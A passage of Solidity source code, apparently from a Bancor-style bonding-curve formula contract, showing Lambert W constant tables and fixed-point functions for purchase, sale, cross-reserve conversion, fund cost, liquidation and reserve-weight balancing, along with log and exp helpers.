lambertArray[ 26] = 0x4911e6a02e5507a30f947383fd9a3276;
lambertArray[ 27] = 0x487216c2b31be4adc41db8a8d5cc0c88;
lambertArray[ 28] = 0x47d5d3fc4a7a1b188cd3d788b5c5e9fc;
lambertArray[ 29] = 0x473cfce4871a2c40bc4f9e1c32b955d0;
lambertArray[ 30] = 0x46a771ca578ab878485810e285e31c67;
lambertArray[ 31] = 0x4615149718aed4c258c373dc676aa72d;
lambertArray[ 32] = 0x4585c8b3f8fe489c6e1833ca47871384;
lambertArray[ 33] = 0x44f972f174e41e5efb7e9d63c29ce735;
lambertArray[ 34] = 0x446ff970ba86d8b00beb05ecebf3c4dc;
lambertArray[ 35] = 0x43e9438ec88971812d6f198b5ccaad96;
lambertArray[ 36] = 0x436539d11ff7bea657aeddb394e809ef;
lambertArray[ 37] = 0x42e3c5d3e5a913401d86f66db5d81c2c;
lambertArray[ 38] = 0x4264d2395303070ea726cbe98df62174;
lambertArray[ 39] = 0x41e84a9a593bb7194c3a6349ecae4eea;
lambertArray[ 40] = 0x416e1b785d13eba07a08f3f18876a5ab;
lambertArray[ 41] = 0x40f6322ff389d423ba9dd7e7e7b7e809;
lambertArray[ 42] = 0x40807cec8a466880ecf4184545d240a4;
lambertArray[ 43] = 0x400cea9ce88a8d3ae668e8ea0d9bf07f;
lambertArray[ 44] = 0x3f9b6ae8772d4c55091e0ed7dfea0ac1;
lambertArray[ 45] = 0x3f2bee253fd84594f54bcaafac383a13;
lambertArray[ 46] = 0x3ebe654e95208bb9210c575c081c5958;
lambertArray[ 47] = 0x3e52c1fc5665635b78ce1f05ad53c086;
lambertArray[ 48] = 0x3de8f65ac388101ddf718a6f5c1eff65;
lambertArray[ 49] = 0x3d80f522d59bd0b328ca012df4cd2d49;
lambertArray[ 50] = 0x3d1ab193129ea72b23648a161163a85a;
lambertArray[ 51] = 0x3cb61f68d32576c135b95cfb53f76d75;
lambertArray[ 52] = 0x3c5332d9f1aae851a3619e77e4cc8473;
lambertArray[ 53] = 0x3bf1e08edbe2aa109e1525f65759ef73;
lambertArray[ 54] = 0x3b921d9cff13fa2c197746a3dfc4918f;
lambertArray[ 55] = 0x3b33df818910bfc1a5aefb8f63ae2ac4;
lambertArray[ 56] = 0x3ad71c1c77e34fa32a9f184967eccbf6;
lambertArray[ 57] = 0x3a7bc9abf2c5bb53e2f7384a8a16521a;
lambertArray[ 58] = 0x3a21dec7e76369783a68a0c6385a1c57;
lambertArray[ 59] = 0x39c9525de6c9cdf7c1c157ca4a7a6ee3;
lambertArray[ 60] = 0x39721bad3dc85d1240ff0190e0adaac3;
lambertArray[ 61] = 0x391c324344d3248f0469eb28dd3d77e0;
lambertArray[ 62] = 0x38c78df7e3c796279fb4ff84394ab3da;
lambertArray[ 63] = 0x387426ea4638ae9aae08049d3554c20a;
lambertArray[ 64] = 0x3821f57dbd2763256c1a99bbd2051378;
lambertArray[ 65] = 0x37d0f256cb46a8c92ff62fbbef289698;
lambertArray[ 66] = 0x37811658591ffc7abdd1feaf3cef9b73;
lambertArray[ 67] = 0x37325aa10e9e82f7df0f380f7997154b;
lambertArray[ 68] = 0x36e4b888cfb408d873b9a80d439311c6;
lambertArray[ 69] = 0x3698299e59f4bb9de645fc9b08c64cca;
lambertArray[ 70] = 0x364ca7a5012cb603023b57dd3ebfd50d;
lambertArray[ 71] = 0x36022c928915b778ab1b06aaee7e61d4;
lambertArray[ 72] = 0x35b8b28d1a73dc27500ffe35559cc028;
lambertArray[ 73] = 0x357033e951fe250ec5eb4e60955132d7;
lambertArray[ 74] = 0x3528ab2867934e3a21b5412e4c4f8881;
lambertArray[ 75] = 0x34e212f66c55057f9676c80094a61d59;
lambertArray[ 76] = 0x349c66289e5b3c4b540c24f42fa4b9bb;
lambertArray[ 77] = 0x34579fbbd0c733a9c8d6af6b0f7d00f7;
lambertArray[ 78] = 0x3413bad2e712288b924b5882b5b369bf;
lambertArray[ 79] = 0x33d0b2b56286510ef730e213f71f12e9;
lambertArray[ 80] = 0x338e82ce00e2496262c64457535ba1a1;
lambertArray[ 81] = 0x334d26a96b373bb7c2f8ea1827f27a92;
lambertArray[ 82] = 0x330c99f4f4211469e00b3e18c31475ea;
lambertArray[ 83] = 0x32ccd87d6486094999c7d5e6f33237d8;
lambertArray[ 84] = 0x328dde2dd617b6665a2e8556f250c1af;
lambertArray[ 85] = 0x324fa70e9adc270f8262755af5a99af9;
lambertArray[ 86] = 0x32122f443110611ca51040f41fa6e1e3;
lambertArray[ 87] = 0x31d5730e42c0831482f0f1485c4263d8;
lambertArray[ 88] = 0x31996ec6b07b4a83421b5ebc4ab4e1f1;
lambertArray[ 89] = 0x315e1ee0a68ff46bb43ec2b85032e876;
lambertArray[ 90] = 0x31237fe7bc4deacf6775b9efa1a145f8;
lambertArray[ 91] = 0x30e98e7f1cc5a356e44627a6972ea2ff;
lambertArray[ 92] = 0x30b04760b8917ec74205a3002650ec05;
lambertArray[ 93] = 0x3077a75c803468e9132ce0cf3224241d;
lambertArray[ 94] = 0x303fab57a6a275c36f19cda9bace667a;
lambertArray[ 95] = 0x3008504beb8dcbd2cf3bc1f6d5a064f0;
lambertArray[ 96] = 0x2fd19346ed17dac61219ce0c2c5ac4b0;
lambertArray[ 97] = 0x2f9b7169808c324b5852fd3d54ba9714;
lambertArray[ 98] = 0x2f65e7e711cf4b064eea9c08cbdad574;
lambertArray[ 99] = 0x2f30f405093042ddff8a251b6bf6d103;
lambertArray[100] = 0x2efc931a3750f2e8bfe323edfe037574;
lambertArray[101] = 0x2ec8c28e46dbe56d98685278339400cb;
lambertArray[102] = 0x2e957fd933c3926d8a599b602379b851;
lambertArray[103] = 0x2e62c882c7c9ed4473412702f08ba0e5;
lambertArray[104] = 0x2e309a221c12ba361e3ed695167feee2;
lambertArray[105] = 0x2dfef25d1f865ae18dd07cfea4bcea10;
lambertArray[106] = 0x2dcdcee821cdc80decc02c44344aeb31;
lambertArray[107] = 0x2d9d2d8562b34944d0b201bb87260c83;
lambertArray[108] = 0x2d6d0c04a5b62a2c42636308669b729a;
lambertArray[109] = 0x2d3d6842c9a235517fc5a0332691528f;
lambertArray[110] = 0x2d0e402963fe1ea2834abc408c437c10;
lambertArray[111] = 0x2cdf91ae602647908aff975e4d6a2a8c;
lambertArray[112] = 0x2cb15ad3a1eb65f6d74a75da09a1b6c5;
lambertArray[113] = 0x2c8399a6ab8e9774d6fcff373d210727;
lambertArray[114] = 0x2c564c4046f64edba6883ca06bbc4535;
lambertArray[115] = 0x2c2970c431f952641e05cb493e23eed3;
lambertArray[116] = 0x2bfd0560cd9eb14563bc7c0732856c18;
lambertArray[117] = 0x2bd1084ed0332f7ff4150f9d0ef41a2c;
lambertArray[118] = 0x2ba577d0fa1628b76d040b12a82492fb;
lambertArray[119] = 0x2b7a5233cd21581e855e89dc2f1e8a92;
lambertArray[120] = 0x2b4f95cd46904d05d72bdcde337d9cc7;
lambertArray[121] = 0x2b2540fc9b4d9abba3faca6691914675;
lambertArray[122] = 0x2afb5229f68d0830d8be8adb0a0db70f;
lambertArray[123] = 0x2ad1c7c63a9b294c5bc73a3ba3ab7a2b;
lambertArray[124] = 0x2aa8a04ac3cbe1ee1c9c86361465dbb8;
lambertArray[125] = 0x2a7fda392d725a44a2c8aeb9ab35430d;
lambertArray[126] = 0x2a57741b18cde618717792b4faa216db;
lambertArray[127] = 0x2a2f6c81f5d84dd950a35626d6d5503a;
}
/**
* @dev should be executed after construction (too large for the constructor)
*/
function init() public {
initMaxExpArray();
initLambertArray();
}
/**
* @dev given a token supply, reserve balance, weight and a deposit amount (in the reserve token),
* calculates the target amount for a given conversion (in the main token)
*
* Formula:
* return = _supply * ((1 + _amount / _reserveBalance) ^ (_reserveWeight / 1000000) - 1)
*
* @param _supply smart token supply
* @param _reserveBalance reserve balance
* @param _reserveWeight reserve weight, represented in ppm (1-1000000)
* @param _amount amount of reserve tokens to get the target amount for
*
* @return smart token amount
*/
function purchaseTargetAmount(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount)
public override view returns (uint256)
{
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT");
// special case for 0 deposit amount
if (_amount == 0)
return 0;
// special case if the weight = 100%
if (_reserveWeight == MAX_WEIGHT)
return _supply.mul(_amount) / _reserveBalance;
uint256 result;
uint8 precision;
uint256 baseN = _amount.add(_reserveBalance);
(result, precision) = power(baseN, _reserveBalance, _reserveWeight, MAX_WEIGHT);
uint256 temp = _supply.mul(result) >> precision;
return temp - _supply;
}
/**
* @dev given a token supply, reserve balance, weight and a sell amount (in the main token),
* calculates the target amount for a given conversion (in the reserve token)
*
* Formula:
* return = _reserveBalance * (1 - (1 - _amount / _supply) ^ (1000000 / _reserveWeight))
*
* @param _supply smart token supply
* @param _reserveBalance reserve balance
* @param _reserveWeight reserve weight, represented in ppm (1-1000000)
* @param _amount amount of smart tokens to get the target amount for
*
* @return reserve token amount
*/
function saleTargetAmount(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount)
public override view returns (uint256)
{
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT");
require(_amount <= _supply, "ERR_INVALID_AMOUNT");
// special case for 0 sell amount
if (_amount == 0)
return 0;
// special case for selling the entire supply
if (_amount == _supply)
return _reserveBalance;
// special case if the weight = 100%
if (_reserveWeight == MAX_WEIGHT)
return _reserveBalance.mul(_amount) / _supply;
uint256 result;
uint8 precision;
uint256 baseD = _supply - _amount;
(result, precision) = power(_supply, baseD, MAX_WEIGHT, _reserveWeight);
uint256 temp1 = _reserveBalance.mul(result);
uint256 temp2 = _reserveBalance << precision;
return (temp1 - temp2) / result;
}
/**
* @dev given two reserve balances/weights and a sell amount (in the first reserve token),
* calculates the target amount for a conversion from the source reserve token to the target reserve token
*
* Formula:
* return = _targetReserveBalance * (1 - (_sourceReserveBalance / (_sourceReserveBalance + _amount)) ^ (_sourceReserveWeight / _targetReserveWeight))
*
* @param _sourceReserveBalance source reserve balance
* @param _sourceReserveWeight source reserve weight, represented in ppm (1-1000000)
* @param _targetReserveBalance target reserve balance
* @param _targetReserveWeight target reserve weight, represented in ppm (1-1000000)
* @param _amount source reserve amount
*
* @return target reserve amount
*/
function crossReserveTargetAmount(uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount)
public override view returns (uint256)
{
// validate input
require(_sourceReserveBalance > 0 && _targetReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_sourceReserveWeight > 0 && _sourceReserveWeight <= MAX_WEIGHT &&
_targetReserveWeight > 0 && _targetReserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT");
// special case for equal weights
if (_sourceReserveWeight == _targetReserveWeight)
return _targetReserveBalance.mul(_amount) / _sourceReserveBalance.add(_amount);
uint256 result;
uint8 precision;
uint256 baseN = _sourceReserveBalance.add(_amount);
(result, precision) = power(baseN, _sourceReserveBalance, _sourceReserveWeight, _targetReserveWeight);
uint256 temp1 = _targetReserveBalance.mul(result);
uint256 temp2 = _targetReserveBalance << precision;
return (temp1 - temp2) / result;
}
/**
* @dev given a smart token supply, reserve balance, reserve ratio and an amount of requested smart tokens,
* calculates the amount of reserve tokens required for purchasing the given amount of smart tokens
*
* Formula:
* return = _reserveBalance * (((_supply + _amount) / _supply) ^ (MAX_WEIGHT / _reserveRatio) - 1)
*
* @param _supply smart token supply
* @param _reserveBalance reserve balance
* @param _reserveRatio reserve ratio, represented in ppm (2-2000000)
* @param _amount requested amount of smart tokens
*
* @return reserve token amount
*/
function fundCost(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount)
public override view returns (uint256)
{
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2, "ERR_INVALID_RESERVE_RATIO");
// special case for 0 amount
if (_amount == 0)
return 0;
// special case if the reserve ratio = 100%
if (_reserveRatio == MAX_WEIGHT)
return (_amount.mul(_reserveBalance) - 1) / _supply + 1;
uint256 result;
uint8 precision;
uint256 baseN = _supply.add(_amount);
(result, precision) = power(baseN, _supply, MAX_WEIGHT, _reserveRatio);
uint256 temp = ((_reserveBalance.mul(result) - 1) >> precision) + 1;
return temp - _reserveBalance;
}
/**
* @dev given a smart token supply, reserve balance, reserve ratio and an amount of reserve tokens to fund with,
* calculates the amount of smart tokens received for purchasing with the given amount of reserve tokens
*
* Formula:
* return = _supply * ((_amount / _reserveBalance + 1) ^ (_reserveRatio / MAX_WEIGHT) - 1)
*
* @param _supply smart token supply
* @param _reserveBalance reserve balance
* @param _reserveRatio reserve ratio, represented in ppm (2-2000000)
* @param _amount amount of reserve tokens to fund with
*
* @return smart token amount
*/
function fundSupplyAmount(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount)
public override view returns (uint256)
{
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2, "ERR_INVALID_RESERVE_RATIO");
// special case for 0 amount
if (_amount == 0)
return 0;
// special case if the reserve ratio = 100%
if (_reserveRatio == MAX_WEIGHT)
return _amount.mul(_supply) / _reserveBalance;
uint256 result;
uint8 precision;
uint256 baseN = _reserveBalance.add(_amount);
(result, precision) = power(baseN, _reserveBalance, _reserveRatio, MAX_WEIGHT);
uint256 temp = _supply.mul(result) >> precision;
return temp - _supply;
}
/**
* @dev given a smart token supply, reserve balance, reserve ratio and an amount of smart tokens to liquidate,
* calculates the amount of reserve tokens received for selling the given amount of smart tokens
*
* Formula:
* return = _reserveBalance * (1 - ((_supply - _amount) / _supply) ^ (MAX_WEIGHT / _reserveRatio))
*
* @param _supply smart token supply
* @param _reserveBalance reserve balance
* @param _reserveRatio reserve ratio, represented in ppm (2-2000000)
* @param _amount amount of smart tokens to liquidate
*
* @return reserve token amount
*/
function liquidateReserveAmount(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount)
public override view returns (uint256)
{
// validate input
require(_supply > 0, "ERR_INVALID_SUPPLY");
require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_reserveRatio > 1 && _reserveRatio <= MAX_WEIGHT * 2, "ERR_INVALID_RESERVE_RATIO");
require(_amount <= _supply, "ERR_INVALID_AMOUNT");
// special case for 0 amount
if (_amount == 0)
return 0;
// special case for liquidating the entire supply
if (_amount == _supply)
return _reserveBalance;
// special case if the reserve ratio = 100%
if (_reserveRatio == MAX_WEIGHT)
return _amount.mul(_reserveBalance) / _supply;
uint256 result;
uint8 precision;
uint256 baseD = _supply - _amount;
(result, precision) = power(_supply, baseD, MAX_WEIGHT, _reserveRatio);
uint256 temp1 = _reserveBalance.mul(result);
uint256 temp2 = _reserveBalance << precision;
return (temp1 - temp2) / result;
}
/**
* @dev The arbitrage incentive is to convert to the point where the on-chain price is equal to the off-chain price.
* We want this operation to also impact the primary reserve balance becoming equal to the primary reserve staked balance.
* In other words, we want the arbitrager to convert the difference between the reserve balance and the reserve staked balance.
*
* Formula input:
* - let t denote the primary reserve token staked balance
* - let s denote the primary reserve token balance
* - let r denote the secondary reserve token balance
* - let q denote the numerator of the rate between the tokens
* - let p denote the denominator of the rate between the tokens
* Where p primary tokens are equal to q secondary tokens
*
* Formula output:
* - compute x = W(t / r * q / p * log(s / t)) / log(s / t)
* - return x / (1 + x) as the weight of the primary reserve token
* - return 1 / (1 + x) as the weight of the secondary reserve token
* Where W is the Lambert W Function
*
* If the rate-provider provides the rates for a common unit, for example:
* - P = 2 ==> 2 primary reserve tokens = 1 ether
* - Q = 3 ==> 3 secondary reserve tokens = 1 ether
* Then you can simply use p = P and q = Q
*
* If the rate-provider provides the rates for a single unit, for example:
* - P = 2 ==> 1 primary reserve token = 2 ethers
* - Q = 3 ==> 1 secondary reserve token = 3 ethers
* Then you can simply use p = Q and q = P
*
* @param _primaryReserveStakedBalance the primary reserve token staked balance
* @param _primaryReserveBalance the primary reserve token balance
* @param _secondaryReserveBalance the secondary reserve token balance
* @param _reserveRateNumerator the numerator of the rate between the tokens
* @param _reserveRateDenominator the denominator of the rate between the tokens
*
* Note that `numerator / denominator` should represent the amount of secondary tokens equal to one primary token
*
* @return the weight of the primary reserve token and the weight of the secondary reserve token, both in ppm (0-1000000)
*/
function balancedWeights(uint256 _primaryReserveStakedBalance,
uint256 _primaryReserveBalance,
uint256 _secondaryReserveBalance,
uint256 _reserveRateNumerator,
uint256 _reserveRateDenominator)
public override view returns (uint32, uint32)
{
if (_primaryReserveStakedBalance == _primaryReserveBalance)
require(_primaryReserveStakedBalance > 0 || _secondaryReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
else
require(_primaryReserveStakedBalance > 0 && _primaryReserveBalance > 0 && _secondaryReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(_reserveRateNumerator > 0 && _reserveRateDenominator > 0, "ERR_INVALID_RESERVE_RATE");
uint256 tq = _primaryReserveStakedBalance.mul(_reserveRateNumerator);
uint256 rp = _secondaryReserveBalance.mul(_reserveRateDenominator);
if (_primaryReserveStakedBalance < _primaryReserveBalance)
return balancedWeightsByStake(_primaryReserveBalance, _primaryReserveStakedBalance, tq, rp, true);
if (_primaryReserveStakedBalance > _primaryReserveBalance)
return balancedWeightsByStake(_primaryReserveStakedBalance, _primaryReserveBalance, tq, rp, false);
return normalizedWeights(tq, rp);
}
/**
* @dev General Description:
* Determine a value of precision.
* Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.
* Return the result along with the precision used.
*
* Detailed Description:
* Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)".
* The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision".
* The larger "precision" is, the more accurately this value represents the real value.
* However, the larger "precision" is, the more bits are required in order to store this value.
* And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x").
* This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
* Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.
* This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.
* This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul".
* Since we rely on unsigned-integer arithmetic and "base < 1" ==> "log(base) < 0", this function does not support "_baseN < _baseD".
*/
function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal view returns (uint256, uint8) {
require(_baseN < MAX_NUM);
uint256 baseLog;
uint256 base = _baseN * FIXED_1 / _baseD;
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
}
else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = baseLog * _expN / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
}
else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision);
}
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1.
* This functions assumes that "x >= FIXED_1", because the output would be negative otherwise.
*/
function generalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return res * LN2_NUMERATOR / LN2_DENOMINATOR;
}
/**
* @dev computes the largest integer smaller than or equal to the binary logarithm of the input.
*/
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
}
else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (ONE << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
/**
* @dev the global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent:
* - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"]
* - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"]
*/
function findPositionInMaxExpArray(uint256 _x) internal view returns (uint8) {
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x)
lo = mid;
else
hi = mid;
}
if (maxExpArray[hi] >= _x)
return hi;
if (maxExpArray[lo] >= _x)
return lo;
require(false);
}
/**
* @dev this function can be auto-generated by the script 'PrintFunctionGeneralExp.py'.
* it approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!".
* it returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy.
* the global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1".
* the maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
*/
function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision; res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!)
xi = (xi * _x) >> _precision; res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!)
xi = (xi * _x) >> _precision; res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!)
xi = (xi * _x) >> _precision; res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!)
xi = (xi * _x) >> _precision; res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!)
xi = (xi * _x) >> _precision; res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!)
xi = (xi * _x) >> _precision; res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!)
xi = (xi * _x) >> _precision; res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!)
xi = (xi * _x) >> _precision; res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!)
xi = (xi * _x) >> _precision; res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!)
xi = (xi * _x) >> _precision; res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!)
xi = (xi * _x) >> _precision; res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!)
xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!)
xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!)
return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0!
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1
* Input range: FIXED_1 <= x <= OPT_LOG_MAX_VAL - 1
* Auto-generated via 'PrintFunctionOptimalLog.py'
* Detailed description:
* - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2
* - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent
* - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1
* - The natural logarithm of the input is calculated by summing up the intermediate results above
* - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859)
*/
function optimalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {res += 0x40000000000000000000000000000000; x = x * FIXED_1 / 0xd3094c70f034de4b96ff7d5b6f99fcd8;} // add 1 / 2^1
if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {res += 0x20000000000000000000000000000000; x = x * FIXED_1 / 0xa45af1e1f40c333b3de1db4dd55f29a7;} // add 1 / 2^2
if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {res += 0x10000000000000000000000000000000; x = x * FIXED_1 / 0x910b022db7ae67ce76b441c27035c6a1;} // add 1 / 2^3
if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {res += 0x08000000000000000000000000000000; x = x * FIXED_1 / 0x88415abbe9a76bead8d00cf112e4d4a8;} // add 1 / 2^4
if (x >= 0x84102b00893f64c705e841d5d4064bd3) {res += 0x04000000000000000000000000000000; x = x * FIXED_1 / 0x84102b00893f64c705e841d5d4064bd3;} // add 1 / 2^5
if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {res += 0x02000000000000000000000000000000; x = x * FIXED_1 / 0x8204055aaef1c8bd5c3259f4822735a2;} // add 1 / 2^6
if (x >= 0x810100ab00222d861931c15e39b44e99) {res += 0x01000000000000000000000000000000; x = x * FIXED_1 / 0x810100ab00222d861931c15e39b44e99;} // add 1 / 2^7
if (x >= 0x808040155aabbbe9451521693554f733) {res += 0x00800000000000000000000000000000; x = x * FIXED_1 / 0x808040155aabbbe9451521693554f733;} // add 1 / 2^8
z = y = x - FIXED_1;
w = y * y / FIXED_1;
res += z * (0x100000000000000000000000000000000 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_1; // add y^01 / 01 - y^02 / 02
res += z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x200000000000000000000000000000000; z = z * w / FIXED_1; // add y^03 / 03 - y^04 / 04
res += z * (0x099999999999999999999999999999999 - y) / 0x300000000000000000000000000000000; z = z * w / FIXED_1; // add y^05 / 05 - y^06 / 06
res += z * (0x092492492492492492492492492492492 - y) / 0x400000000000000000000000000000000; z = z * w / FIXED_1; // add y^07 / 07 - y^08 / 08
res += z * (0x08e38e38e38e38e38e38e38e38e38e38e - y) / 0x500000000000000000000000000000000; z = z * w / FIXED_1; // add y^09 / 09 - y^10 / 10
res += z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y) / 0x600000000000000000000000000000000; z = z * w / FIXED_1; // add y^11 / 11 - y^12 / 12
res += z * (0x089d89d89d89d89d89d89d89d89d89d89 - y) / 0x700000000000000000000000000000000; z = z * w / FIXED_1; // add y^13 / 13 - y^14 / 14
res += z * (0x088888888888888888888888888888888 - y) / 0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16
return res;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
